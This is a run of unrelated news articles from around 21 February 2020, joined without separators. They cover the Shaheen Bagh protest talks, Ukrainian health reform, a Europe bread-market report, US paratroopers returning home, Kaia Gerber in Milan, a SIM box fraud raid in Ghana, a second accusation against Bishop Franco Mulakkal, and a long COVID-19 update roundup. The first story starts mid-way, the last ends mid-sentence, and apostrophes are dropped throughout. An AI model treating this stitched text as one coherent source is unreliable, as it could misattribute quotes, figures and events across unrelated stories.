Sanjay Hegde and Sadhana Ramachandran had first spoken of the possibility after the second day of negotiations with the protesters who have blocked a major arterial road connecting southeast Delhi with satellite town Noida in Uttar Pradesh. Ramchandran said she along with Hegde visited some alternative routes --blocked by the police -- suggested for reopening by some women protestors. On Monday, the Supreme Court observed that the blockade of the road at Shaheen Bagh was 'troubling' and suggested the protesters go to another site where no public place would be blocked. It, however, upheld their right to protest. The apex court also asked Hegde to 'play a constructive role as an interlocutor' to persuade the protesters to move to an alternative site. It said the interlocutors could seek former bureaucrat Wajahat Habibullah's assistance. The protesters have been demanding repeal of the Citizenship Amendment Act. Ukrainian government is prepared for the second stage of the healthcare reform, which starts on April 1, 2020, Prime Minister of Ukraine Oleksiy Honcharuk reported on Telegram. "We have a general plan of the state. We're ready for a reform, which will start on April 1. There is a certain plan of a medical system transformation for every region," he wrote adding that a pilot project fulfilled in Poltava region brings hope that we may succeed. The signing of the contracts with the National Health Service (NHS) for 2020 for specialized care institutions started in the country on February 3, 2020. On February 11, the NHS announced the start of accepting proposals for concluding medical care contracts for the population under the Medical Safeguards Program in 2020. As of February 18, almost 1,077 specialized medical establishments have submitted over 5,000 proposals to the NHS for signing the agreements that demonstrates the readiness of the regions to introduce a medical reform. Flash China and the Association of Southeast Asian Nations (ASEAN) have vowed to join hands to fight the novel coronavirus (COVID-19) to forge a closer community of shared future, Chinese State Councilor and Foreign Minister Wang Yi said in Vientiane on Thursday. The Special ASEAN-China Foreign Ministers' Meeting on Coronavirus Disease held Thursday was aimed at seeking concerted efforts to cope with the challenges triggered by the epidemic, Wang said. China and ASEAN, linked by mountains and rivers, have had the tradition of always supporting and helping one another. Viruses do not respect borders and they are the common enemies of humanity, he said. At this difficult time, the two sides should stand together through thick and thin, work together to tide over the difficult time, effectively prevent the spread of the virus through closer and positive cooperation and protect the safety and health of the peoples of the countries in the region so as to make contribution to the cause of public health of the region and the world at large, Wang said. Since the outbreak of the epidemic, the leaders, the governments and people from all walks of life of the 10 member states of ASEAN have offered support to China and China values ASEAN's friendship and help, he said. Wang believed that while the epidemic is temporary, the friendship and cooperation between China and ASEAN will last forever. China and ASEAN will seize the opportunity of jointly fighting the epidemic to further boost the friendship between the two sides and push forward the development of bilateral relations to a new high so as to forge a closer China-ASEAN community with shared future, Wang added. Founded in 1967, ASEAN currently groups Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, the Philippines, Singapore, Thailand and Vietnam. The "Europe Bread Market to 2027 Regional Analysis and Forecasts By Product Type; Nature; Distribution Channel" report has been added to ResearchAndMarkets.com's offering. The Europe bread market is accounted to US$ 91,115.1 Mn in 2018 and is expected to grow at a CAGR of 3.2% during the forecast period 2019 2027, to account to US$ 120,549.8 Mn by 2027. Bread is among the household staples and there has been an increasing demand for greater variety of bread such as loaves, baguettes, rolls, burger buns, sandwich bread, ciabatta among others. The increasing use of these products by B2B industries such as HORECA, QSRs, cafes and others along with the household has driven the growth of market. The Europe bread market is segmented on the basis of product type as Loaves, Baguettes, Rolls, Burger Buns, Sandwich Bread, Ciabatta, and Others. The loaves segment in the Europe bread market is estimated to hold a dominant share in the market. A loaf is a type of bread with elongated and rounded structure. It is common to bake bread in a rectangular-shaped bread pan, which is also called as a loaf pan, as some kinds of bread dough tend to collapse and spread out during the baking process. Dough with a denser viscosity can be hand-molded into the preferred loaf shape and baked on a flat oven tray. The form of the dough with a diluter viscosity can be preserved with a bread pan of which the sides are higher than the unbaked dough. To determine the size of the loaf, the baker must take into consideration the amount of heat required to penetrate the loaf evenly during the baking process, so that no parts are over baked or under baked. Many types of mass-produced bread are squared, with well-defined edges on the bottom of the loaf. Rectangular shaped loaves can be made more or less identical and can be shipped and packed efficiently. The Europe bread market is segmented based on nature as conventional and organic. The conventional segment accounts for the largest share in the Europe bread market, while the organic segment also contributes a significant share in the market. Organic bread consists of ingredients that are grown without the use of pesticides, genetically modified organisms (GMO's), synthetic fertilizers, sewage sludge, or ionizing radiation. Once all of those factors have been included, the products are inspected and certified by a USDA approved certifier as organic products that comply with all National Organic Program (NOP) standards for storage and labeling, ingredients, and processing. Another vital issue, especially in the case of vegan bread, is to have organic bread that excludes any animal products that include any dairy and eggs. Vegan bread is one of the most demanding types of organic bread all over the globe. Organic wheat bread is one of the leading products in the bread market due to its high nutritional profile. As the organic bread does not use preservatives such as calcium propionate, organic and all-natural bread have a significantly shorter shelf life as compared to conventional bread. Reasons to Buy Highlights key business priorities in order to assist companies to realign their business strategies. The key findings and recommendations highlight crucial progressive industry trends in the Europe bread market, thereby allowing players to develop effective long term strategies. Develop/modify business expansion plans by using substantial growth offering developed and emerging markets. Scrutinize in-depth the market trends and outlook coupled with the factors driving the market, as well as those hindering it. Enhance the decision-making process by understanding the strategies that underpin commercial interest with respect to products, segmentation and industry verticals. Key Topics Covered: 1. Introduction 1.1 Scope of the Study 1.2 Research Report Guidance 1.3 Market Segmentation 2. Key Takeaways 3. Research Methodology 3.1 Coverage 3.2 Secondary Research 3.3 Primary Research 4. Bread Market Landscape 4.1 Market Overview 4.1.1 Europe PEST Analysis 5. Bread Market Key Industry Dynamics 5.1 Key Market Drivers 5.2 Key Market Restraints 5.3 Key Market Opportunities 5.4 Future Trends 6. Bread Europe Market Analysis 6.1 Europe Bread Market Overview 6.2 Europe Bread Market Forecast and Analysis 7. Europe Bread Market Analysis By Product Type 7.1 Overview 7.2 Europe Bread Market Breakdown, By Product Type, 2018 2027 7.3 Loaves 7.4 Baguettes 7.5 Rolls 7.6 Burger Buns 7.7 Sandwich Bread 7.8 Ciabatta 7.9 Other 8. Europe Bread Market Analysis By Nature 8.1 Overview 8.2 Europe Bread Market Breakdown, By Nature, 2018 2027 8.3 Conventional 8.4 Organic 9. Bread Market Analysis by Distribution Channel 9.1 Overview 9.2 Europe Bread Market Breakdown, by Distribution Channel, 2018 2027 9.3 Hypermarket Supermarket 9.4 Convenience Stores Retail Stores 9.5 Online Stores 9.6 Others 10. Bread Market Country Analysis 10.1 Overview 10.1.1 Europe Bread Market Breakdown, by Key Countries 10.1.1.1 Germany Bread Market Revenue and Forecast to 2027 (US$ MN) 10.1.1.2 France Bread Market Revenue and Forecast to 2027 (US$ MN) 10.1.1.3 Italy Bread Market Revenue and Forecast to 2027 (US$ MN) 10.1.1.4 United Kingdom Bread Market Revenue and Forecast to 2027 (US$ MN) 10.1.1.5 Russia Bread Market Revenue and Forecast to 2027 (US$ MN) 10.1.1.6 Rest of Europe Bread Market Revenue and Forecast to 2027 (US$ MN) 11. Industry Landscape 11.1 Strategy and Business Planning 11.2 Product News 11.3 Merger and Acquisition 12. Company Profile 12.1 Associated British Foods plc 12.2 Cargill, Incorporated 12.3 Barilla G. e R. Fratelli S.p.A 12.4 Aryzta AG 12.5 Rich Products Corporation 12.6 Britannia Industries 12.7 CSC Brands, L.P. 12.8 Finsbury Food Group Plc 12.9 Goodman Fielder 12.10 Premier Foods Group Limited For more information about this report visit https://www.researchandmarkets.com/r/rmzesg View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005304/en/ Contacts: ResearchAndMarkets.com Laura Wood, Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. troops from the Army's 82nd Airborne Division arrive at Green Ramp for a deployment to the Middle East in Fort Bragg, North Carolina, on Jan. 4, 2020. (Andrew Craft/Getty Images) 800 US Soldiers Return Home from Middle East Soldiers are returning home after about 3,000 troops from a U.S. Army rapid-response force were deployed to the Middle East nearly two months ago amid tensions with Iran. Nearly 800 paratroopers from the 82nd Airborne Divisions Immediate Response Force Brigade began returning from the Middle East on Thursday to Fort Bragg in North Carolina. On Thursday morning, eager family members waited in Fort Braggs Green Ramp to greet their loved ones. Today we welcomed home the first @Strike_Hold #Paratroopers from their deployment to @CENTCOM. When our Nation called, the Immediate Response Force answered by conducting a no notice deployment. The Division is proud of you all and wishes a warm #WelcomeHome. #Airborne #ATW pic.twitter.com/zkLFJVzPSU All American Division (@82ndABNDiv) February 20, 2020 We could not be more proud of these Paratroopers and it is an honor to welcome them home, Maj. Gen. James Mingus, the 82nd Abn. Div. commanding general said in a statement to The Epoch Times. These great men and women honored the tradition of Paratroopers that came before them by answering their Nations call on a moments notice. U.S. Army Paratroopers of the 82nd Airborne Division, deploy from Pope Army Airfield, North Carolina, heading to the U.S. Central Command area in response to events in Iraq, on Jan. 1, 2020. (Capt. Robyn Haake/U.S. Army/AFP via Getty Images) The Pentagon confirmed on New Years Eve that some 750 soldiers were being deployed immediately to Kuwait after an attack on the U.S. Embassy in Baghdad, Iraq, amid tensions with Iran and its proxies in the region. This was in addition to the Marines who were already on location protecting embassy personnel, the Pentagon said at the time. On Jan. 3, the Pentagon confirmed to The Epoch Times that it was sending additional troops to the Middle East. The department didnt state an exact number. The number of troops in the new deployment was estimated at 2,800 since a brigade usually consists of about 3,500 troops, reported Reuters. The deployment was the most significant no-notice deployment of military forces in more than 30 years, the 82nd Airborne Division said upon the paratroopers return. Within hours of receiving orders to deploy, the first elements of the Brigade mustered, drew equipment, and were wheels up from Green Ramp [Fort Bragg] within 18 hours and subsequently deployed the remainder of 1st Brigade on a very aggressive timeline in order to respond to the crisis situation in Iraq, the 82nd Airborne Division said in a statement obtained by The Epoch Times. The paratroopers underwent daily readiness training while they were deployed in the Middle East. About 2,000 members of the 1st Brigade Combat Team are still posted in the region for any missions deemed necessary, the statement said. It remains unclear when they will return home. Read More Rockets Strike US Embassy in Baghdad as Protests Continue Allen Zhong and The Associated Press contributed to this report. Tripura Chief Minister Biplab Kumar Deb on Friday said mother language is the only medium through which people can learn properly and express their emotions. On the occasion of International Mother Language Day, he said the state government is working to ensure that all languages are honoured. "We have to respect all languages and our spirit should be to uphold the languages," Deb said at an event organised by Tripura government and the Bangladesh Assistant High Commission here at Rabindra Satabarshiki Bhavan. He paid homage to those who had sacrificed lives for their mother tongue. Bangladesh Parliamentarian Md Abdus Shahid, who joined the Mother Language Day celebrations here, said the martyrs of language in the neighbouring country had sacrificed their lives in protest against the imposition of Urdu on Bengalis, which, later, turned into freedom struggle. He said Bangladesh remembers the people of Tripura for their role during the liberation war. "We think all problems can be solved through constructive dialogues. We can solve the land border agreement issue through discussions," he said. The state government felicitated three persons from the near-extinct Chaimaar ethno-linguistic group, who are the last speakers of the language. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) She is currently dominating the runway during Milan Fashion Week. But Kaia Gerber proved she's just as stylish off the catwalk as she stepped out in the Italian city on Friday in between shows. The supermodel, 18, exuded 90s vibes in her attire, reminiscent of her fashion icon mother Cindy Crawford, 54. Off duty beauty: Kaia Gerber proved she's just as stylish off the catwalk as she stepped out on Friday in between Milan Fashion Week shows The fashionista looked classically chic in a black leather blazer from the Imaan x FRAME collection, which she wore with a simple T-shirt underneath. The model teamed her stylish look with figure-hugging suede flares and black ankle boots. Kaia carried a brown snakeskin bag under her arm and wore a pair of black sunglasses. She wore her brunette tresses loose, showing off her new blunt bob hairstyle. Model behaviour: The supermodel, 18, exuded 90s vibes in her a chic attire, reminiscent of her fashion icon mother Cindy Crawford, 54 Glam: The fashionista looked classically chic in a black leather blazer from the Imaan x FRAME collection, worn with a simple T-shirt underneath Staying hydrated, Kaia carried a pale blue reusable water bottle that matched her iPhone case. During Milan Fashion Week, Kaia has walked for brands including Prada, Fendi, Moschino and Max Mara. Earlier on Friday she led the models at Tod's runway show. The model made a bold style statement in an oversized beige coat and bright red tights on the catwalk. Happy: Kaia was seen flashing a smile after a successful appearance on the catwalk for Versace's Fall/Winter 2020 runway show Runway glam: Kaia's short locks had been swept over to one side in a slick style and her eyes were framed with lashings of kohl liner She then joined the likes of Bella and Gigi Hadid, Kendall Jenner and Irina Shayk on the star-studded catwalk for Versace's Fall/Winter 2020 runway show. Before jetting to Italy, Kaia walked in numerous shows during both London and New York Fashion Weeks, earlier this month. The catwalk queen is the daughter of supermodel Cindy Crawford, 54, and male model turned businessman Rande Gerber, 57. Kaia made her runway debut in 2017 and has since become one of the world's most in-demand models. 21.02.2020 LISTEN Food technologist and nutritionist, Gertrude Quarshigah has lauded President Akufo-Addo for calling on Ghanaians to pay attention to their health and living style. The president's statement to us was in the right direction, she said. While delivering his fourth State of the Nation Address in Parliament on Thursday, President Akufo-Addo observed that there was a worrying trend of obesity among many Ghanaians a situation that has been attributed to lifestyles. We are in danger of falling into the lifestyle disease trap. Too many of us are overweight and obesity is an increasing problem even among young people. The food we eat, the mode of cooking and the lack of exercise are all now having a great impression on our health. It is time we all learn to take responsibility for our individual health and accept that our health is very much determined by our lifestyle, the president advised. The trend has led to many young people dying of non-communicable diseases such as diabetes, stroke and hypertension. Speaking on the Citi Breakfast Show, Gertrude Quarshiegah who also serves as Coordinator of the National School Feeding Programme urged Ghanaians to pay attention to the nutritional components of their meals. Food is medicine and we all eat to live so what we take in, we have to look at the component of food and the right quantity at the right time. So we don't just get up and eat, so you have to look at the various food and vary it and then make sure that you take the nutritional component that deals in vitamins and fibre. She further suggested ways to live a healthy lifestyle through eating a balanced meal. So for me, [I will recommend] vegetable foods in the morningIt is something that also helps the body. Protein yes but in moderation and mostly for children and aged people. And in addition to that, you also need some carbohydrate and then, you can carry on with the day. And so we have to eat well to grow well, she added. ---citinewsroom Another nun from Kerala has accused the former bishop of the Jalandhar diocese Franco Mulakkal of sexual assault in 2018, but no action was taken on her complaint, reports said A fresh allegation of sexual assault has surfaced against bishop Franco Mulakkal who had to step down as the head of the Jalandhar diocese last year after he was accused of rape by a nun in 2018. According to a report in Mathrubhoomi, a second nun from Kerala has accused the bishop of sexually assaulting her between 2015 and 2017. Reports said that the second nun is one of the witnesses in the 2018 rape case against Mulakkal in which he is accused of sexually assaulting a nun of the Missionaries of Jesus congregation in Kerala. The report quoted the second nun as saying that Mulakkal "tried to grab hold of her at the convent and spoke to her in a sexually explicit manner through a video call." The second nun also stated that Mulakkal "forced her to display her body parts", the report said. Reports also said that the second nun had narrated her ordeal to the police in September 2018, however, no action was taken against the influential Christian cleric. Citing the police complaint, reports said that the second accuser is a 35-year-old nun who belongs to the same congregation as the first nun to have accused Mulakkal of rape on multiple occasions between 2014 and 2016. "I used to call him regarding issues related to the convent, and it turned into a friendship. Between 2015 and 2017, we used to send messages on WhatsApp, call each other and do video calls. I was only looking for friendship. But by the end of 2015, his remarks became sexual in nature," a report in The NewsMinute quoted the second nun as saying in the statement to the police, which has been released now by the Save our Sisters (SOS) forum. "The nun then said that she was not interested in sexting, but did not have the courage to oppose Franco as he was the head of their congregation," the report added. Mulakkal is currently out on bail in the first rape case. In her complaint to the Kottayam Police in June last year, the first nun had alleged that Mulakkal raped her at a guest house in Kuravilangad in May 2014 and later sexually exploited her on several occasions. The nun said she had to approach the police as church authorities did not act on her repeated complaints against the clergyman. However, Mulakkal has denied the charges as "baseless and concocted," insisting that she levelled them as the Catholic order had rejected her demand for favours. He had stepped aside as the bishop of the Jalandhar diocese following the allegations. With inputs from PTI 21.02.2020 LISTEN Accra, February 20, 2020: A SIM Box syndicate operating at Community 11 in Tema in the Greater Accra Region was on Wednesday February 19, 2020 busted in a combined operation by officials of the National Communications Authority (NCA), Ghana Revenue Authority (GRA), KelniGVG and the Ghana Police Service. A total of 11 SIM Box equipment with capability of using 352 SIM cards simultaneously were retrieved from the premises along with other illicit equipment used for the criminal activity. It is estimated that an amount of US$1,938,816 in both revenue and taxes have been lost per month assuming each device operated at an average of 18 hours per day. NCA, GRA, KelniGVG and the Ghana Police Service are continuing with their investigations and will issue further details later. The February 19, 2020 raid is the third since December 2019. One other SIM Box operator arrested in January 2020 has been granted police enquiry bail whiles the operators of another SIM Box syndicate whose premises were raided and shut down in December 2019 are on the run. The Fraud Management component of the Common Platform detected numbers used to illegally terminate international inbound calls as local calls. Further investigations in collaboration with the mobile network operators (MNOs) led to the detection of the location of the SIM Box devices. The Electronic Communications (Amendment) Act, 2009, Act 786 established the minimum rate for international incoming voice calls at US$0.19 through the licensed international gateways. The use of SIM Boxes to bypass the legal routes for terminating calls in Ghana leads to loss of revenue and taxes to both the state and MNOs. It is therefore a criminal offence to operate a SIM Box for the purposes of terminating international calls in Ghana. Offenders are liable to penalties that range from fines to terms of imprisonment. The NCA and GRA working with KelniGVG and the Ghana Police Service are committed to detecting and apprehending SIM Box fraudsters in the country. About NCA The National Communications Authority, (NCA), was established by an Act of Parliament, Act 524 in December 1996, which has been repealed and replaced by the National Communications Authority Act, 2008 (Act 769). The Authority is the statutory body mandated to license and to regulate electronic communication activities and services in the country. BAKU, Azerbaijan, Feb. 21 By Rufiz Hafizoglu - Trend: Turkey's exports of chemical products to China increased in January 2020, Trend reports with reference to the Turkish Trade Ministry. Turkey's exports of chemical products to China exceeded $22.9 million in January 2020, which indicates an increase of 3.59 percent compared to January 2019. Turkey's total exports of chemical products to the global market amounted to $1.7 billion in January 2020, having increased by 10.6 percent compared to January 2019. Exports of chemical products amounted to 11.5 percent of Turkey's total exports in January 2020. Turkey's exports of chemical products amounted to over $20.7 billion in the last 12 months, which accounted for 11.4 percent of the country's total exports. --- Follow the author on Twitter: @rhafizoglu Countries around the world are taking measures to try to stem the spread of the new coronavirus disease, dubbed COVID-19, as the death toll continues to rise. Refresh for Feb. 21 updates. 2 More Australians from Diamond Princess Have Virus Another two people evacuated to Darwin from the Diamond Princess cruise ship have tested positive for coronavirus, authorities have confirmed on Saturday. This brings the total of Australians who left the ship on Thursday who have the virus up to six. The figure is expected to rise with another three patients to be screened on Saturday. The two people who tested positive on Saturday are from Victoria. They will be repatriated to their home states health system. Read more here. First Italian Dies of Coronavirus An elderly man in the northern city of Padua has died after being infected with the coronavirus, becoming the first Italian victim of the disease, Health Minister Roberto Speranza said on Friday. Health authorities announced earlier in the day 15 cases of the virus in the wealthy northern region of Lombardy and two in neighboring Veneto where Padua is located the first known cases of local transmission in the country. None of those infected were believed to have traveled to China, the epicenter of the new illness, and local authorities in Italy scrambled to contain the outbreak. Local media said the dead man was a 78-year-old from the small town of Vo Euganeo who was hospitalized two weeks ago. Strict measures to create a health cordon around Vo Euganeo (have been put in place), regional governor Luca Zaia wrote on Facebook. Read more here. Canada: Woman Coming Home From Iran Is BCs 6th Case A sixth presumptive case of COVID-19 has been diagnosed in British Columbia after a woman in her 30s returned to the province from Iran, bringing the total number of cases in Canada to nine. Provincial health officer Dr. Bonnie Henry said on Feb. 20, the latest patients case is relatively mild and a number of her close contacts have already been put in isolation. Henry said earlier this week that four of the five people already diagnosed with the virus were symptom-free. Read more here. Italy Sees Virus Cases Quadruple in Day as Cluster Emerges The number of people in Italy infected with the new virus from China more than quadrupled Friday due to an emerging cluster of cases in the countrys north that prompted officials to order schools, restaurants, and businesses to close. Many of the 14 new cases represented the first infections in Italy acquired through secondary contagion and brought the countrys total to 17. The cluster was located in a handful of tiny towns around Lodi, in the Lombardy region, said the Lombardy regional health chief Giulio Gallera. The first to fall ill was a 38-year-old Italian who met with someone who had returned from China on Jan. 21 without presenting any symptoms of the new virus, health authorities said. That person was being kept in isolation and appears to present antibodies to the virus. The 38-year-old is now hospitalized in critical condition. His wife and a friend of his also tested positive for the virus. Three patients at the hospital in Codogno where he went with flu-like symptoms on Feb. 18 also have infections, as do five nurses and doctors. Another three people, who frequented the same cafe in the Lombardy region, also tested positive Friday in addition to the eight people at Codogno hospital, Gallera said. Italian Health Minister Roberto Speranza said Italy is now seeing the same sort of cluster of cases that Germany and France have seen. He defended the precautionary measures Italy took previously, noting that Italy remains the lone European country to have barred flights to and from China, Hong Kong, Macau, and Taiwan. We had the highest measures in Europe, he said. In response to the emerging cluster, the mayor of Codogno ordered schools, public buildings, restaurants and coffee shops closed. The Italian health ministry ordered anyone who came into direct contact with the first three people who tested positive to be quarantined for 14 days. About 150 people, including medical personnel, were in isolation undergoing tests. The Health Ministry advised area residents to stay home as a precaution. Local officials in another town, Casalpusterlengo, ordered local schools closed through Tuesday. A third town where the infected couple live, Castiglione dAdda, said its libraries, public offices, gyms, and garbage depots would be closed as a health precaution. In other parts of the world, and also in China, it has been demonstrated that this system (of self-isolation) helps in a substantial way to block the spread, Lombardy regional president Attilio Fontana said. But we must not let ourselves be overcome by panic. Window of Opportunity Narrowing: WHO Chief The window of opportunity to contain the new virus is narrowing World Health Organization (WHO) director-general Dr. Tedros Adhanom Ghebreyesus said on Friday. There are now 1,152 COVID-19 cases in 26 countries, he said in Geneva, on the same day Iran reported two new deaths and 13 new cases and South Korea reported one new death and 100 new cases. Eight deaths have taken place outside of China. The cases in other countries, some of which arent linked to Wuhanthe epicenter of the recent outbreakor other parts of China, are very worrisome, Tedros said. Irans situation, specifically, he said, is very concerning, pointing to the first confirmed coronavirus patient in Lebanon, a 45-year-old woman, being linked to Iran. Other cases stemming from Iran could pop up in the coming days, officials said. These dots are actually very concerning. Take them as dots or trends, Tedros told reporters. What I believe is, the window of opportunity is still there. But our window of opportunity is narrowing. Thats why we called [on] the international community to act. Read more here. Iran Reports Two New Deaths Two new deaths from the COVID-19 disease took place in Iran, authorities said on Feb. 21. Iranian authorities reported the first cases of the disease, which is caused by a new coronavirus, on Thursday. In an update soon after, they said the first two patients in the country both died. Most of the cases in the country have been in Qom, a Muslim holy city 75 miles south of Tehran, the capital. The new cases include seven patients in Qom, four in Tehran, and two in Gilan, said Kianush Jahanpur, a spokesman for Irans Health Ministry, in a statement. Most of the cases were residents of Qom or had a history of returning from Qom in recent days and weeks, Jahanpur said in a Twitter post. Unfortunately, two people have lost their lives, he said. The deaths took place in Qom, as did the previous two, according to IRNA, a state-owned news outlet. Health officials called on Thursday for the suspension of all religious gatherings in Qom. Read more here. South Korea Reports Surge in Infections to 204 Cases South Korean health officials confirmed 100 new cases of the novel coronavirus on Feb. 21, bringing the national total to 204. The country has the largest number of cases outside of China besides the cluster from the Diamond Princess cruise ship, which is docked in Japan. The new cases mark the biggest daily jump in infection cases in a single day since South Korea reported its first case on Jan. 20. South Koreas Center for Disease Control and Prevention (KCDC) reported 48 new cases of the virus on Friday afternoon and 52 new cases in the morning, local outlet Yonhap News Agency reported. The country reported 20 new cases on Wednesday and 53 new cases on Thursday, as well as the first death from the new virus. Among the 100 new cases, 85 are linked to the church called Shincheonji in the southeastern city of Daegu. Health officials said a 61-year-old Korean woman who tested positive on Feb. 18, who attended the church, may have spread the virus there. Among the 204 cases, 153 are in Daegu and North Gyeongsang Province, and 128 are connected to the church. Woman Returning to Canada From Iran Tests Positive for Virus A woman who had recently returned from Iran has tested positive for COVID-19 in British Columbia, bringing the total number of known infections in Canada to nine. The test results are currently being double-checked by the National Microbiology Laboratory, according to British Columbias Ministry of Health. The woman in her 30s is now in isolation at home. The ministry said that her close contacts are being identified and will be notified by public health officials. In addition to the nine cases of transmission in Canada, an additional 47 passengers from Canada who were aboard the Diamond Princess cruise ship in Japan have also tested positive for the virus. They will remain in Japan for monitoring while another 209 passengers who tested negative will most likely be allowed to return to Canada for 14 more days of quarantine. 2 New Cases in Japan Are School Children Two elementary school children are among the new cases of novel coronavirus reported in Japan on Friday, local media NHK reported. The children have been identified as two boys from Nakafurano Town in the northern Japanese prefecture of Hokkaido, which now has eight known cases. A woman in her 40s working as a quarantine officer at New Chitose Airport in Hokkaidos Chitose City was also among the new patients identified on Friday. Japan has 97 known cases of the virus, with some of those being among the 634 known cases in the country linked to the cruise ship. Three elderly Japanese to date have died from the virus. Iraq Closes Border With Iran Over Fears of Local Coronavirus Outbreak Iraq has announced that it wont be allowing Iranians into the country through its land border for at least three days after at least five people were confirmed to be carrying the novel coronavirus in Iran, including two deaths. The Iraqi Border Ports Authority confirmed the border shutdown on Thursday. Iraqi nationals are exempt from the shutdown, although they will have to self-quarantine for 14 days upon their return, the government has said. Healthy Passengers All Cleared From Cruise Ship in Japan Japans health minister said the last cruise ship passengers who tested negative for a new virus will leave the Diamond Princess on Friday after a much-criticized quarantine of the vessel ended. The ship docked at a Yokohama port has the most COVID-19 cases outside of China, with 634 confirmed by late Thursday. Two former 80-year-old passengers have died. Health Minister Katsunobu Kato told a news conference the mass disembarkation into Japan of passengers from the ship is set to end Friday, while dozens of foreign passengers are flying back to their home countries on flights chartered by their governments. Most crew members and other passengers who have not completed their 14-day quarantines because they had more recent contact with infected people are staying on the ship for now, but they will be transported to a government facility to be quarantined in isolation. Read more here. 4 Israelis on Cruise Ship Test Positive for Virus Israels Ministry of Health has said that four Israeli Diamond Princess passengers have tested positive for the novel coronavirus. Following the Thursday test results, the patients will now have to remain in Japan, while 11 Israeli passengers who tested negative have been given clearance to travel home after 14 days of quarantine on the ship, Israeli news outlet Haaretz reported. An Israeli expert on infectious diseases from Hadassah Medical Center, Prof. Ran Nir-Paz, will be remaining in Japan as support for the Israeli nationals who will remain quarantined in two of Japans military hospitals. According to the ministry, the Israelis are all in good condition. 4 Cruise Ship Evacuees in California Test Positive for Virus Four Americans who tested positive for the new virus that caused an outbreak China are being sent to a hospital in Spokane, Washington, for treatment, officials said Thursday. They were being transferred from Travis Air Force Base in California, hospital officials said. The four were passengers on the Diamond Princess cruise ship and were among more than 300 evacuees flown back to the United States over the weekend, according to a spokeswoman for the Department of Health and Human Services. They had not been identified by health authorities as potential infected passengers at the time. Read more here. Infections in South Korea Jump to 156, Concerns of Local Outbreak South Korea on Friday morning reported 52 additional cases of COVID-19, taking the national infection total to 156. The total on Thursday stood at 104, but the new cases on Friday morning saw the nations number of cases almost triple in merely three days. Most new cases have been traced to a 61-year-old female super-spreader who attended church services in the southeastern city of Daegu, around 186 miles southeast of Seoul. Of the new cases, 41 were reported from Daegu, three were reported from Seoul, and one from Jeju Island, among other locations, the Korea Center for Disease Control and Prevention said in a press release. Three military personnel are among the new virus patients. Given the situation, the Korean CDC has now declared that COVID-19 is spreading locally in South Korea. Read more here. 57 Wuhan Evacuees Released After 14-day Quarantine in Nebraska The 57 people evacuated by the United States from Wuhan, China, on Feb. 7 were told they are free to leave on Thursday morning after spending 14 days quarantined at Camp Ashland National Guard Base in Nebraska. The University of Nebraska Medical Center (UNMC), which had earlier cleared one evacuee suffering minor respiratory symptoms of the virus, said in a press release that all 57 people were scheduled to fly out of Omaha at Eppley Airfield. The evacuees now join others from Marine Corps Air Station Miramar and the Travis Air Force Base in California to rejoin the general population after completing their time in quarantine and showing no symptoms of the virus. 11 of 13 US Evacuees From Diamond Princess Test Positive for Virus Eleven passengers evacuated by the United States from the Diamond Princess cruise ship in Japan have tested positive for the novel coronavirus, according to the University of Nebraska Medical Center (UNMC). Only some of the patients are showing any virus symptoms, with those that are being mild in nature. According to the UNMC, 10 patients are quarantined in the facilitys National Quarantine Unit, while two others have joined a third who was earlier admitted into the adjacent Nebraska Biocontainment Unit in need of additional care. The 13 evacuees were flown from the Diamond Princess out of Yokohama, Japan, to the quarantine facilities in Nevada on Feb.17 because they were considered high-risk patients. At the facility, they were all given separate rooms to wait out their 14-day quarantine period. Japan Adds 8 More to Coronavirus Count Japanese news agency Jiji Press reported on Thursday that eight more people were confirmed to have COVID-19. The count excludes cases confirmed on the Diamond Princess cruise ship that was docked at Yokohama Port off Japan. Among the eight new cases are a husband and wife in their 60s from Fukuoka; four men from the cities of Sapporo, Sagamihara, Tomigusuku and Nagoya; and two women in Chiba Prefecture and Yokohama city. The news agency reported that Fukuoka officials said the couple from Fukuoka hasnt had a recent history of overseas travel. Meanwhile, Sapporo officials said that the man in their city among the latest cases was reportedly in contact with a person who was confirmed to be infected on Tuesday. The infected man in Sagamihara was reported to be at a hospital where there was a coronavirus-infected woman who died on Feb. 13 after she received treatment. Shifting Virus Count Method Fuels Rising Mistrust in Chinese Data Conflicting numbers of new coronavirus cases reported by two Chinese regional authorities on Feb. 20 drew confusion and have raised further questions about the reliability of data on the outbreak from the Chinese regime. According to Chinas National Health Commission, virus epicenter Wuhan City, the capital of Hubei Province, recorded 615 new confirmed cases on Thursdayhundreds more than the total additional cases reported by the province itself, which reported only 349 cases. Chinese health officials said the higher Wuhan numbers resulted from a change in the way they officially count infections, in accordance with a new guideline that came into effect a day earlier. This is the second change to the official count method for Hubei Province within a month. Read more here. Kuwait Airways Suspends Flights to Iran Kuwaits flag carrier Kuwait Airways announced that it is suspending all flights to Iran from Thursday due to the reported cases of coronavirus in the city of Qom and Araq. Two of the four cases reported from Qom have died from the virus. The deaths were the first confirmed cases in the Middle East. The cancellation of flights comes at the advice of the countrys health ministry and civil aviation authority amid fears of an outbreak in the country. Alireza Vahabzadeh, an adviser to Irans health minister, told Al Jazeera on Wednesday, It remains unclear where the virus in Iran has come [from]. The airlines is the second to cancel flights to Iran after Iraq Airways, which also stopped flights earlier on Thursday. 2 Australians Evacuated From Cruise Ship in Japan Infected Two people brought back to Australia from a cruise ship in Japan have tested positive for the novel coronavirus, the nations chief medical officer has confirmed. Both remain well and are being housed in a separate isolation unit at Howard Springs outside Darwin, the nations chief medical officer said on Friday. Public health authorities from their home states are organizing medical transfers for the patients and their partners. Read more here. South Korea Declares Daegu as Special Zone After Surge in Infections South Korea has declared the southeast city of Daegu and the surrounding region as a special management zone following an explosion in infections of the new coronavirus that city officials say threaten to overwhelm the regions health system. Prime Minister Chung Se-Kyun on Friday said the national government will concentrate its support to the region to ease a shortage in sickbeds, medical personnel, and equipment. Sixty-nine cases of COVID-19 infections, as well as the countrys first death of a virus patient, have been confirmed in the southeast city of Daegu and nearby areas over Wednesday and Thursday, a sudden jump that triggered fears that the outbreak is getting out of control. The surge of infections in the Daegu area and several cases in the capital Seoul, where infection routes werent immediately traceable, forced government officials to acknowledge for the first time on Thursday that the virus has begun to circulate in the local population. South Korea has so far reported 104 cases of the illness imported from China. Mimi Nguyen-Ly, Eva Fu, Zachary Stieber, Reuters, The Associated Press, and the Australian Associated Press contributed to this article. For updates from Feb. 20, click 